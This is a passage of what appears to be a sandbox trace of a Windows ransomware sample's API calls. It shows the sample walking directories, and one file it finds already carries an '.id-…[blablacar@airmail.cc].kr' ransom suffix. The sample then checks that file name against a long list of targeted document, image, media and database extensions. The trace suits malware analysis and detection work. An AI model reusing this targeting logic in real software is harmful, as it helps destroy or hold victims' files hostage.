ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77580000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x43a2c0 [0174.613] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0174.613] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1 [0174.613] lstrlenW (lpString="$GetCurrent") returned 11 [0174.613] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1 [0174.613] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3cb0078 [0174.614] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0174.614] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x43a300 [0174.615] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0174.615] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0xc2e1be50, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc2e1be50, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Logs", cAlternateFileName="")) returned 1 [0174.616] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0174.616] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1 [0174.616] lstrlenW (lpString="Logs") returned 4 [0174.616] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1 [0174.616] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3cc0080 [0174.616] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0174.616] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0xc2e1be50, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc2e1be50, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x43a340 [0174.618] FindNextFileW (in: hFindFile=0x43a340, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0xc2e1be50, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc2e1be50, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.619] FindNextFileW (in: hFindFile=0x43a340, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc27ffedd, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc27ffedd, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc282618c, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xa7de, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="DOWNLE~1.KR")) returned 1 [0174.619] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[blablacar@airmail.cc].kr") returned 75 [0174.619] lstrlenW (lpString=".1cd") returned 4 [0174.619] lstrcmpiW (lpString1=".1cd", lpString2="].kr") returned -1 [0174.619] lstrlenW (lpString=".3ds") returned 4 [0174.619] lstrcmpiW (lpString1=".3ds", lpString2="].kr") returned -1 [0174.619] lstrlenW (lpString=".3fr") returned 4 [0174.619] lstrcmpiW (lpString1=".3fr", lpString2="].kr") returned -1 [0174.619] lstrlenW (lpString=".3g2") returned 4 [0174.619] lstrcmpiW (lpString1=".3g2", lpString2="].kr") returned -1 [0174.619] lstrlenW (lpString=".3gp") returned 4 [0174.619] lstrcmpiW (lpString1=".3gp", lpString2="].kr") returned -1 [0174.619] lstrlenW (lpString=".7z") returned 3 [0174.619] lstrcmpiW (lpString1=".7z", lpString2=".kr") returned -1 [0174.619] lstrlenW (lpString=".accda") returned 6 [0174.619] lstrcmpiW (lpString1=".accda", lpString2="cc].kr") returned -1 [0174.619] lstrlenW (lpString=".accdb") returned 6 [0174.619] lstrcmpiW (lpString1=".accdb", lpString2="cc].kr") returned -1 [0174.619] lstrlenW (lpString=".accdc") returned 6 [0174.619] lstrcmpiW (lpString1=".accdc", lpString2="cc].kr") returned -1 [0174.619] lstrlenW (lpString=".accde") returned 6 [0174.619] lstrcmpiW (lpString1=".accde", lpString2="cc].kr") returned -1 [0174.619] lstrlenW (lpString=".accdt") returned 6 [0174.619] lstrcmpiW (lpString1=".accdt", lpString2="cc].kr") returned -1 [0174.619] lstrlenW (lpString=".accdw") returned 6 [0174.619] lstrcmpiW (lpString1=".accdw", lpString2="cc].kr") returned -1 [0174.619] lstrlenW (lpString=".adb") returned 4 [0174.619] lstrcmpiW (lpString1=".adb", lpString2="].kr") returned -1 [0174.619] lstrlenW (lpString=".adp") returned 4 [0174.619] lstrcmpiW (lpString1=".adp", lpString2="].kr") returned -1 [0174.619] lstrlenW (lpString=".ai") returned 3 [0174.619] lstrcmpiW (lpString1=".ai", lpString2=".kr") returned -1 [0174.620] lstrlenW (lpString=".ai3") returned 4 [0174.620] lstrcmpiW (lpString1=".ai3", lpString2="].kr") returned -1 [0174.620] lstrlenW (lpString=".ai4") returned 4 [0174.620] lstrcmpiW (lpString1=".ai4", lpString2="].kr") returned -1 [0174.620] lstrlenW (lpString=".ai5") returned 4 [0174.620] lstrcmpiW (lpString1=".ai5", lpString2="].kr") returned -1 [0174.620] lstrlenW (lpString=".ai6") returned 4 [0174.620] lstrcmpiW (lpString1=".ai6", lpString2="].kr") returned -1 [0174.620] lstrlenW (lpString=".ai7") returned 4 [0174.620] lstrcmpiW (lpString1=".ai7", lpString2="].kr") returned -1 [0174.620] lstrlenW (lpString=".ai8") returned 4 [0174.620] lstrcmpiW (lpString1=".ai8", lpString2="].kr") returned -1 [0174.620] lstrlenW (lpString=".anim") returned 5 [0174.620] lstrcmpiW (lpString1=".anim", lpString2="c].kr") returned -1 [0174.620] lstrlenW (lpString=".arw") returned 4 [0174.620] lstrcmpiW (lpString1=".arw", lpString2="].kr") returned -1 [0174.620] lstrlenW (lpString=".as") returned 3 [0174.620] lstrcmpiW (lpString1=".as", lpString2=".kr") returned -1 [0174.620] lstrlenW (lpString=".asa") returned 4 [0174.620] lstrcmpiW (lpString1=".asa", lpString2="].kr") returned -1 [0174.620] lstrlenW (lpString=".asc") returned 4 [0174.620] lstrcmpiW (lpString1=".asc", lpString2="].kr") returned -1 [0174.620] lstrlenW (lpString=".ascx") returned 5 [0174.620] lstrcmpiW (lpString1=".ascx", lpString2="c].kr") returned -1 [0174.620] lstrlenW (lpString=".asm") returned 4 [0174.620] lstrcmpiW (lpString1=".asm", lpString2="].kr") returned -1 [0174.620] lstrlenW (lpString=".asmx") returned 5 [0174.620] lstrcmpiW (lpString1=".asmx", lpString2="c].kr") returned -1 [0174.620] lstrlenW (lpString=".asp") returned 4 [0174.620] lstrcmpiW (lpString1=".asp", lpString2="].kr") returned -1 [0174.620] lstrlenW (lpString=".aspx") returned 5 [0174.620] lstrcmpiW (lpString1=".aspx", lpString2="c].kr") returned -1 [0174.620] lstrlenW (lpString=".asr") returned 4 [0174.620] lstrcmpiW (lpString1=".asr", lpString2="].kr") returned -1 [0174.620] lstrlenW (lpString=".asx") returned 4 [0174.620] lstrcmpiW (lpString1=".asx", lpString2="].kr") returned -1 [0174.621] lstrlenW (lpString=".avi") returned 4 [0174.621] lstrcmpiW (lpString1=".avi", lpString2="].kr") returned -1 [0174.621] lstrlenW (lpString=".avs") returned 4 [0174.621] lstrcmpiW (lpString1=".avs", lpString2="].kr") returned -1 [0174.621] lstrlenW (lpString=".backup") returned 7 [0174.621] lstrcmpiW (lpString1=".backup", lpString2=".cc].kr") returned -1 [0174.621] lstrlenW (lpString=".bak") returned 4 [0174.621] lstrcmpiW (lpString1=".bak", lpString2="].kr") returned -1 [0174.621] lstrlenW (lpString=".bay") returned 4 [0174.621] lstrcmpiW (lpString1=".bay", lpString2="].kr") returned -1 [0174.621] lstrlenW (lpString=".bd") returned 3 [0174.621] lstrcmpiW (lpString1=".bd", lpString2=".kr") returned -1 [0174.621] lstrlenW (lpString=".bin") returned 4 [0174.621] lstrcmpiW (lpString1=".bin", lpString2="].kr") returned -1 [0174.621] lstrlenW (lpString=".bmp") returned 4 [0174.621] lstrcmpiW (lpString1=".bmp", lpString2="].kr") returned -1 [0174.621] lstrlenW (lpString=".bz2") returned 4 [0174.621] lstrcmpiW (lpString1=".bz2", lpString2="].kr") returned -1 [0174.621] lstrlenW (lpString=".c") returned 2 [0174.621] lstrcmpiW (lpString1=".c", lpString2="kr") returned -1 [0174.621] lstrlenW (lpString=".cdr") returned 4 [0174.621] lstrcmpiW (lpString1=".cdr", lpString2="].kr") returned -1 [0174.621] lstrlenW (lpString=".cer") returned 4 [0174.621] lstrcmpiW (lpString1=".cer", lpString2="].kr") returned -1 [0174.621] lstrlenW (lpString=".cf") returned 3 [0174.621] lstrcmpiW (lpString1=".cf", lpString2=".kr") returned -1 [0174.621] lstrlenW (lpString=".cfc") returned 4 [0174.621] lstrcmpiW (lpString1=".cfc", lpString2="].kr") returned -1 [0174.621] lstrlenW (lpString=".cfm") returned 4 [0174.621] lstrcmpiW (lpString1=".cfm", lpString2="].kr") returned -1 [0174.621] lstrlenW (lpString=".cfml") returned 5 [0174.621] lstrcmpiW (lpString1=".cfml", lpString2="c].kr") returned -1 [0174.621] lstrlenW (lpString=".cfu") returned 4 [0174.621] lstrcmpiW (lpString1=".cfu", lpString2="].kr") returned -1 [0174.621] lstrlenW (lpString=".chm") returned 4 [0174.622] lstrcmpiW (lpString1=".chm", lpString2="].kr") returned -1 [0174.622] lstrlenW (lpString=".cin") returned 4 [0174.622] lstrcmpiW (lpString1=".cin", lpString2="].kr") returned -1 [0174.622] lstrlenW (lpString=".class") returned 6 [0174.622] lstrcmpiW (lpString1=".class", lpString2="cc].kr") returned -1 [0174.622] lstrlenW (lpString=".clx") returned 4 [0174.622] lstrcmpiW (lpString1=".clx", lpString2="].kr") returned -1 [0174.622] lstrlenW (lpString=".config") returned 7 [0174.622] lstrcmpiW (lpString1=".config", lpString2=".cc].kr") returned 1 [0174.622] lstrlenW (lpString=".cpp") returned 4 [0174.622] lstrcmpiW (lpString1=".cpp", lpString2="].kr") returned -1 [0174.622] lstrlenW (lpString=".cr2") returned 4 [0174.622] lstrcmpiW (lpString1=".cr2", lpString2="].kr") returned -1 [0174.622] lstrlenW (lpString=".crt") returned 4 [0174.622] lstrcmpiW (lpString1=".crt", lpString2="].kr") returned -1 [0174.622] lstrlenW (lpString=".crw") returned 4 [0174.622] lstrcmpiW (lpString1=".crw", lpString2="].kr") returned -1 [0174.622] lstrlenW (lpString=".cs") returned 3 [0174.622] lstrcmpiW (lpString1=".cs", lpString2=".kr") returned -1 [0174.622] lstrlenW (lpString=".css") returned 4 [0174.622] lstrcmpiW (lpString1=".css", lpString2="].kr") returned -1 [0174.622] lstrlenW (lpString=".csv") returned 4 [0174.622] lstrcmpiW (lpString1=".csv", lpString2="].kr") returned -1 [0174.622] lstrlenW (lpString=".cub") returned 4 [0174.622] lstrcmpiW (lpString1=".cub", lpString2="].kr") returned -1 [0174.622] lstrlenW (lpString=".dae") returned 4 [0174.622] lstrcmpiW (lpString1=".dae", lpString2="].kr") returned -1 [0174.622] lstrlenW (lpString=".dat") returned 4 [0174.622] lstrcmpiW (lpString1=".dat", lpString2="].kr") returned -1 [0174.622] lstrlenW (lpString=".db") returned 3 [0174.622] lstrcmpiW (lpString1=".db", lpString2=".kr") returned -1 [0174.622] lstrlenW (lpString=".dbf") returned 4 [0174.622] lstrcmpiW (lpString1=".dbf", lpString2="].kr") returned -1 [0174.622] lstrlenW (lpString=".dbx") returned 4 [0174.622] lstrcmpiW (lpString1=".dbx", lpString2="].kr") returned -1 [0174.623] lstrlenW (lpString=".dc3") returned 4 [0174.623] lstrcmpiW (lpString1=".dc3", lpString2="].kr") returned -1 [0174.623] lstrlenW (lpString=".dcm") returned 4 [0174.623] lstrcmpiW (lpString1=".dcm", lpString2="].kr") returned -1 [0174.623] lstrlenW (lpString=".dcr") returned 4 [0174.623] lstrcmpiW (lpString1=".dcr", lpString2="].kr") returned -1 [0174.623] lstrlenW (lpString=".der") returned 4 [0174.623] lstrcmpiW (lpString1=".der", lpString2="].kr") returned -1 [0174.623] lstrlenW (lpString=".dib") returned 4 [0174.623] lstrcmpiW (lpString1=".dib", lpString2="].kr") returned -1 [0174.623] lstrlenW (lpString=".dic") returned 4 [0174.623] lstrcmpiW (lpString1=".dic", lpString2="].kr") returned -1 [0174.623] lstrlenW (lpString=".dif") returned 4 [0174.623] lstrcmpiW (lpString1=".dif", lpString2="].kr") returned -1 [0174.623] lstrlenW (lpString=".divx") returned 5 [0174.623] lstrcmpiW (lpString1=".divx", lpString2="c].kr") returned -1 [0174.623] lstrlenW (lpString=".djvu") returned 5 [0174.623] lstrcmpiW (lpString1=".djvu", lpString2="c].kr") returned -1 [0174.623] lstrlenW (lpString=".dng") returned 4 [0174.623] lstrcmpiW (lpString1=".dng", lpString2="].kr") returned -1 [0174.623] lstrlenW (lpString=".doc") returned 4 [0174.623] lstrcmpiW (lpString1=".doc", lpString2="].kr") returned -1 [0174.623] lstrlenW (lpString=".docm") returned 5 [0174.623] lstrcmpiW (lpString1=".docm", lpString2="c].kr") returned -1 [0174.623] lstrlenW (lpString=".docx") returned 5 [0174.623] lstrcmpiW (lpString1=".docx", lpString2="c].kr") returned -1 [0174.623] lstrlenW (lpString=".dot") returned 4 [0174.623] lstrcmpiW (lpString1=".dot", lpString2="].kr") returned -1 [0174.623] lstrlenW (lpString=".dotm") returned 5 [0174.623] lstrcmpiW (lpString1=".dotm", lpString2="c].kr") returned -1 [0174.623] lstrlenW (lpString=".dotx") returned 5 [0174.623] lstrcmpiW (lpString1=".dotx", lpString2="c].kr") returned -1 [0174.623] lstrlenW (lpString=".dpx") returned 4 [0174.623] lstrcmpiW (lpString1=".dpx", lpString2="].kr") returned -1 [0174.623] lstrlenW (lpString=".dqy") returned 4 [0174.623] lstrcmpiW (lpString1=".dqy", lpString2="].kr") returned -1 [0174.624] lstrlenW (lpString=".dsn") returned 4 [0174.624] lstrcmpiW (lpString1=".dsn", lpString2="].kr") returned -1 [0174.624] lstrlenW (lpString=".dt") returned 3 [0174.624] lstrcmpiW (lpString1=".dt", lpString2=".kr") returned -1 [0174.624] lstrlenW (lpString=".dtd") returned 4 [0174.624] lstrcmpiW (lpString1=".dtd", lpString2="].kr") returned -1 [0174.624] lstrlenW (lpString=".dwg") returned 4 [0174.624] lstrcmpiW (lpString1=".dwg", lpString2="].kr") returned -1 [0174.624] lstrlenW (lpString=".dwt") returned 4 [0174.624] lstrcmpiW (lpString1=".dwt", lpString2="].kr") returned -1 [0174.624] lstrlenW (lpString=".dx") returned 3 [0174.624] lstrcmpiW (lpString1=".dx", lpString2=".kr") returned -1 [0174.624] lstrlenW (lpString=".dxf") returned 4 [0174.624] lstrcmpiW (lpString1=".dxf", lpString2="].kr") returned -1 [0174.624] lstrlenW (lpString=".edml") returned 5 [0174.624] lstrcmpiW (lpString1=".edml", lpString2="c].kr") returned -1 [0174.624] lstrlenW (lpString=".efd") returned 4 [0174.624] lstrcmpiW (lpString1=".efd", lpString2="].kr") returned -1 [0174.624] lstrlenW (lpString=".elf") returned 4 [0174.624] lstrcmpiW (lpString1=".elf", lpString2="].kr") returned -1 [0174.624] lstrlenW (lpString=".emf") returned 4 [0174.624] lstrcmpiW (lpString1=".emf", lpString2="].kr") returned -1 [0174.624] lstrlenW (lpString=".emz") returned 4 [0174.624] lstrcmpiW (lpString1=".emz", lpString2="].kr") returned -1 [0174.624] lstrlenW (lpString=".epf") returned 4 [0174.624] lstrcmpiW (lpString1=".epf", lpString2="].kr") returned -1 [0174.624] lstrlenW (lpString=".eps") returned 4 [0174.624] lstrcmpiW (lpString1=".eps", lpString2="].kr") returned -1 [0174.624] lstrlenW (lpString=".epsf") returned 5 [0174.624] lstrcmpiW (lpString1=".epsf", lpString2="c].kr") returned -1 [0174.624] lstrlenW (lpString=".epsp") returned 5 [0174.624] lstrcmpiW (lpString1=".epsp", lpString2="c].kr") returned -1 [0174.624] lstrlenW (lpString=".erf") returned 4 [0174.625] lstrcmpiW (lpString1=".erf", lpString2="].kr") returned -1 [0174.625] lstrlenW (lpString=".exr") returned 4 [0174.625] lstrcmpiW (lpString1=".exr", lpString2="].kr") returned -1 [0174.625] lstrlenW (lpString=".f4v") returned 4 [0174.625] lstrcmpiW (lpString1=".f4v", lpString2="].kr") returned -1 [0174.625] lstrlenW (lpString=".fido") returned 5 [0174.625] lstrcmpiW (lpString1=".fido", lpString2="c].kr") returned -1 [0174.625] lstrlenW (lpString=".flm") returned 4 [0174.625] lstrcmpiW (lpString1=".flm", lpString2="].kr") returned -1 [0174.625] lstrlenW (lpString=".flv") returned 4 [0174.625] lstrcmpiW (lpString1=".flv", lpString2="].kr") returned -1 [0174.625] lstrlenW (lpString=".frm") returned 4 [0174.625] lstrcmpiW (lpString1=".frm", lpString2="].kr") returned -1 [0174.625] lstrlenW (lpString=".fxg") returned 4 [0174.625] lstrcmpiW (lpString1=".fxg", lpString2="].kr") returned -1 [0174.625] lstrlenW (lpString=".geo") returned 4 [0174.625] lstrcmpiW (lpString1=".geo", lpString2="].kr") returned -1 [0174.625] lstrlenW (lpString=".gif") returned 4 [0174.625] lstrcmpiW (lpString1=".gif", lpString2="].kr") returned -1 [0174.625] lstrlenW (lpString=".grs") returned 4 [0174.625] lstrcmpiW (lpString1=".grs", lpString2="].kr") returned -1 [0174.625] lstrlenW (lpString=".gz") returned 3 [0174.625] lstrcmpiW (lpString1=".gz", lpString2=".kr") returned -1 [0174.625] lstrlenW (lpString=".h") returned 2 [0174.625] lstrcmpiW (lpString1=".h", lpString2="kr") returned -1 [0174.625] lstrlenW (lpString=".hdr") returned 4 [0174.625] lstrcmpiW (lpString1=".hdr", lpString2="].kr") returned -1 [0174.625] lstrlenW (lpString=".hpp") returned 4 [0174.625] lstrcmpiW (lpString1=".hpp", lpString2="].kr") returned -1 [0174.625] lstrlenW (lpString=".hta") returned 4 [0174.625] lstrcmpiW (lpString1=".hta", lpString2="].kr") returned -1 [0174.625] lstrlenW (lpString=".htc") returned 4 [0174.625] lstrcmpiW (lpString1=".htc", lpString2="].kr") returned -1 [0174.625] lstrlenW (lpString=".htm") returned 4 [0174.625] lstrcmpiW (lpString1=".htm", lpString2="].kr") returned -1 [0174.626] lstrlenW (lpString=".html") returned 5 [0174.626] lstrcmpiW (lpString1=".html", lpString2="c].kr") returned -1 [0174.626] lstrlenW (lpString=".icb") returned 4 [0174.626] lstrcmpiW (lpString1=".icb", lpString2="].kr") returned -1 [0174.626] lstrlenW (lpString=".ics") returned 4 [0174.626] lstrcmpiW (lpString1=".ics", lpString2="].kr") returned -1 [0174.626] lstrlenW (lpString=".iff") returned 4 [0174.626] lstrcmpiW (lpString1=".iff", lpString2="].kr") returned -1 [0174.626] lstrlenW (lpString=".inc") returned 4 [0174.626] lstrcmpiW (lpString1=".inc", lpString2="].kr") returned -1 [0174.626] lstrlenW (lpString=".indd") returned 5 [0174.626] lstrcmpiW (lpString1=".indd", lpString2="c].kr") returned -1 [0174.626] lstrlenW (lpString=".ini") returned 4 [0174.626] lstrcmpiW (lpString1=".ini", lpString2="].kr") returned -1 [0174.626] lstrlenW (lpString=".iqy") returned 4 [0174.626] lstrcmpiW (lpString1=".iqy", lpString2="].kr") returned -1 [0174.626] lstrlenW (lpString=".j2c") returned 4 [0174.626] lstrcmpiW (lpString1=".j2c", lpString2="].kr") returned -1 [0174.626] lstrlenW (lpString=".j2k") returned 4 [0174.626] lstrcmpiW (lpString1=".j2k", lpString2="].kr") returned -1 [0174.626] lstrlenW (lpString=".java") returned 5 [0174.626] lstrcmpiW (lpString1=".java", lpString2="c].kr") returned -1 [0174.626] lstrlenW (lpString=".jp2") returned 4 [0174.626] lstrcmpiW (lpString1=".jp2", lpString2="].kr") returned -1 [0174.626] lstrlenW (lpString=".jpc") returned 4 [0174.626] lstrcmpiW (lpString1=".jpc", lpString2="].kr") returned -1 [0174.626] lstrlenW (lpString=".jpe") returned 4 [0174.626] lstrcmpiW (lpString1=".jpe", lpString2="].kr") returned -1 [0174.626] lstrlenW (lpString=".jpeg") returned 5 [0174.626] lstrcmpiW (lpString1=".jpeg", lpString2="c].kr") returned -1 [0174.626] lstrlenW (lpString=".jpf") returned 4 [0174.626] lstrcmpiW (lpString1=".jpf", lpString2="].kr") returned -1 [0174.626] lstrlenW (lpString=".jpg") returned 4 [0174.626] lstrcmpiW (lpString1=".jpg", lpString2="].kr") returned -1 [0174.626] lstrlenW (lpString=".jpx") returned 4 [0174.627] lstrcmpiW (lpString1=".jpx", lpString2="].kr") returned -1 [0174.627] lstrlenW (lpString=".js") returned 3 [0174.627] lstrcmpiW (lpString1=".js", lpString2=".kr") returned -1 [0174.627] lstrlenW (lpString=".jsf") returned 4 [0174.627] lstrcmpiW (lpString1=".jsf", lpString2="].kr") returned -1 [0174.627] lstrlenW (lpString=".json") returned 5 [0174.627] lstrcmpiW (lpString1=".json", lpString2="c].kr") returned -1 [0174.627] lstrlenW (lpString=".jsp") returned 4 [0174.627] lstrcmpiW (lpString1=".jsp", lpString2="].kr") returned -1 [0174.627] lstrlenW (lpString=".kdc") returned 4 [0174.627] lstrcmpiW (lpString1=".kdc", lpString2="].kr") returned -1 [0174.627] lstrlenW (lpString=".kmz") returned 4 [0174.627] lstrcmpiW (lpString1=".kmz", lpString2="].kr") returned -1 [0174.627] lstrlenW (lpString=".kwm") returned 4 [0174.627] lstrcmpiW (lpString1=".kwm", lpString2="].kr") returned -1 [0174.627] lstrlenW (lpString=".lasso") returned 6 [0174.627] lstrcmpiW (lpString1=".lasso", lpString2="cc].kr") returned -1 [0174.627] lstrlenW (lpString=".lbi") returned 4 [0174.627] lstrcmpiW (lpString1=".lbi", lpString2="].kr") returned -1 [0174.627] lstrlenW (lpString=".lgf") returned 4 [0174.627] lstrcmpiW (lpString1=".lgf", lpString2="].kr") returned -1 [0174.627] lstrlenW (lpString=".lgp") returned 4 [0174.627] lstrcmpiW (lpString1=".lgp", lpString2="].kr") returned -1 [0174.627] lstrlenW (lpString=".log") returned 4 [0174.627] lstrcmpiW (lpString1=".log", lpString2="].kr") returned -1 [0174.627] lstrlenW (lpString=".m1v") returned 4 [0174.627] lstrcmpiW (lpString1=".m1v", lpString2="].kr") returned -1 [0174.627] lstrlenW (lpString=".m4a") returned 4 [0174.627] lstrcmpiW (lpString1=".m4a", lpString2="].kr") returned -1 [0174.627] lstrlenW (lpString=".m4v") returned 4 [0174.627] lstrcmpiW (lpString1=".m4v", lpString2="].kr") returned -1 [0174.627] lstrlenW (lpString=".max") returned 4 [0174.627] lstrcmpiW (lpString1=".max", lpString2="].kr") returned -1 [0174.627] lstrlenW (lpString=".md") returned 3 [0174.627] lstrcmpiW (lpString1=".md", lpString2=".kr") returned 1 [0174.627] lstrlenW (lpString=".mda") returned 4 [0174.628] lstrcmpiW (lpString1=".mda", lpString2="].kr") returned -1 [0174.628] lstrlenW (lpString=".mdb") returned 4 [0174.628] lstrcmpiW (lpString1=".mdb", lpString2="].kr") returned -1 [0174.628] lstrlenW (lpString=".mde") returned 4 [0174.628] lstrcmpiW (lpString1=".mde", lpString2="].kr") returned -1 [0174.628] lstrlenW (lpString=".mdf") returned 4 [0174.628] lstrcmpiW (lpString1=".mdf", lpString2="].kr") returned -1 [0174.628] lstrlenW (lpString=".mdw") returned 4 [0174.628] lstrcmpiW (lpString1=".mdw", lpString2="].kr") returned -1 [0174.628] lstrlenW (lpString=".mef") returned 4 [0174.628] lstrcmpiW (lpString1=".mef", lpString2="].kr") returned -1 [0174.628] lstrlenW (lpString=".mft") returned 4 [0174.628] lstrcmpiW (lpString1=".mft", lpString2="].kr") returned -1 [0174.628] lstrlenW (lpString=".mfw") returned 4 [0174.628] lstrcmpiW (lpString1=".mfw", lpString2="].kr") returned -1 [0174.628] lstrlenW (lpString=".mht") returned 4 [0174.628] lstrcmpiW (lpString1=".mht", lpString2="].kr") returned -1 [0174.628] lstrlenW (lpString=".mhtml") returned 6 [0174.628] lstrcmpiW (lpString1=".mhtml", lpString2="cc].kr") returned -1 [0174.628] lstrlenW (lpString=".mka") returned 4 [0174.628] lstrcmpiW (lpString1=".mka", lpString2="].kr") returned -1 [0174.628] lstrlenW (lpString=".mkidx") returned 6 [0174.628] lstrcmpiW (lpString1=".mkidx", lpString2="cc].kr") returned -1 [0174.628] lstrlenW (lpString=".mkv") returned 4 [0174.628] lstrcmpiW (lpString1=".mkv", lpString2="].kr") returned -1 [0174.628] lstrlenW (lpString=".mos") returned 4 [0174.628] lstrcmpiW (lpString1=".mos", lpString2="].kr") returned -1 [0174.628] lstrlenW (lpString=".mov") returned 4 [0174.628] lstrcmpiW (lpString1=".mov", lpString2="].kr") returned -1 [0174.628] lstrlenW (lpString=".mp3") returned 4 [0174.628] lstrcmpiW (lpString1=".mp3", lpString2="].kr") returned -1 [0174.628] lstrlenW (lpString=".mp4") returned 4 [0174.628] lstrcmpiW (lpString1=".mp4", lpString2="].kr") returned -1 [0174.628] lstrlenW (lpString=".mpeg") returned 5 [0174.628] lstrcmpiW (lpString1=".mpeg", lpString2="c].kr") returned -1 [0174.629] lstrlenW (lpString=".mpg") returned 4 [0174.629] lstrcmpiW (lpString1=".mpg", lpString2="].kr") returned -1 [0174.629] lstrlenW (lpString=".mpv") returned 4 [0174.629] lstrcmpiW (lpString1=".mpv", lpString2="].kr") returned -1 [0174.629] lstrlenW (lpString=".mrw") returned 4 [0174.629] lstrcmpiW (lpString1=".mrw", lpString2="].kr") returned -1 [0174.629] lstrlenW (lpString=".msg") returned 4 [0174.629] lstrcmpiW (lpString1=".msg", lpString2="].kr") returned -1 [0174.629] lstrlenW (lpString=".mxl") returned 4 [0174.629] lstrcmpiW (lpString1=".mxl", lpString2="].kr") returned -1 [0174.629] lstrlenW (lpString=".myd") returned 4 [0174.629] lstrcmpiW (lpString1=".myd", lpString2="].kr") returned -1 [0174.629] lstrlenW (lpString=".myi") returned 4 [0174.629] lstrcmpiW (lpString1=".myi", lpString2="].kr") returned -1 [0174.629] lstrlenW (lpString=".nef") returned 4 [0174.629] lstrcmpiW (lpString1=".nef", lpString2="].kr") returned -1 [0174.629] lstrlenW (lpString=".nrw") returned 4 [0174.629] lstrcmpiW (lpString1=".nrw", lpString2="].kr") returned -1 [0174.629] lstrlenW (lpString=".obj") returned 4 [0174.629] lstrcmpiW (lpString1=".obj", lpString2="].kr") returned -1 [0174.629] lstrlenW (lpString=".odb") returned 4 [0174.629] lstrcmpiW (lpString1=".odb", lpString2="].kr") returned -1 [0174.629] lstrlenW (lpString=".odc") returned 4 [0174.629] lstrcmpiW (lpString1=".odc", lpString2="].kr") returned -1 [0174.629] lstrlenW (lpString=".odm") returned 4 [0174.629] lstrcmpiW (lpString1=".odm", lpString2="].kr") returned -1 [0174.629] lstrlenW (lpString=".odp") returned 4 [0174.629] lstrcmpiW (lpString1=".odp", lpString2="].kr") returned -1 [0174.629] lstrlenW (lpString=".ods") returned 4 [0174.629] lstrcmpiW (lpString1=".ods", lpString2="].kr") returned -1 [0174.629] lstrlenW 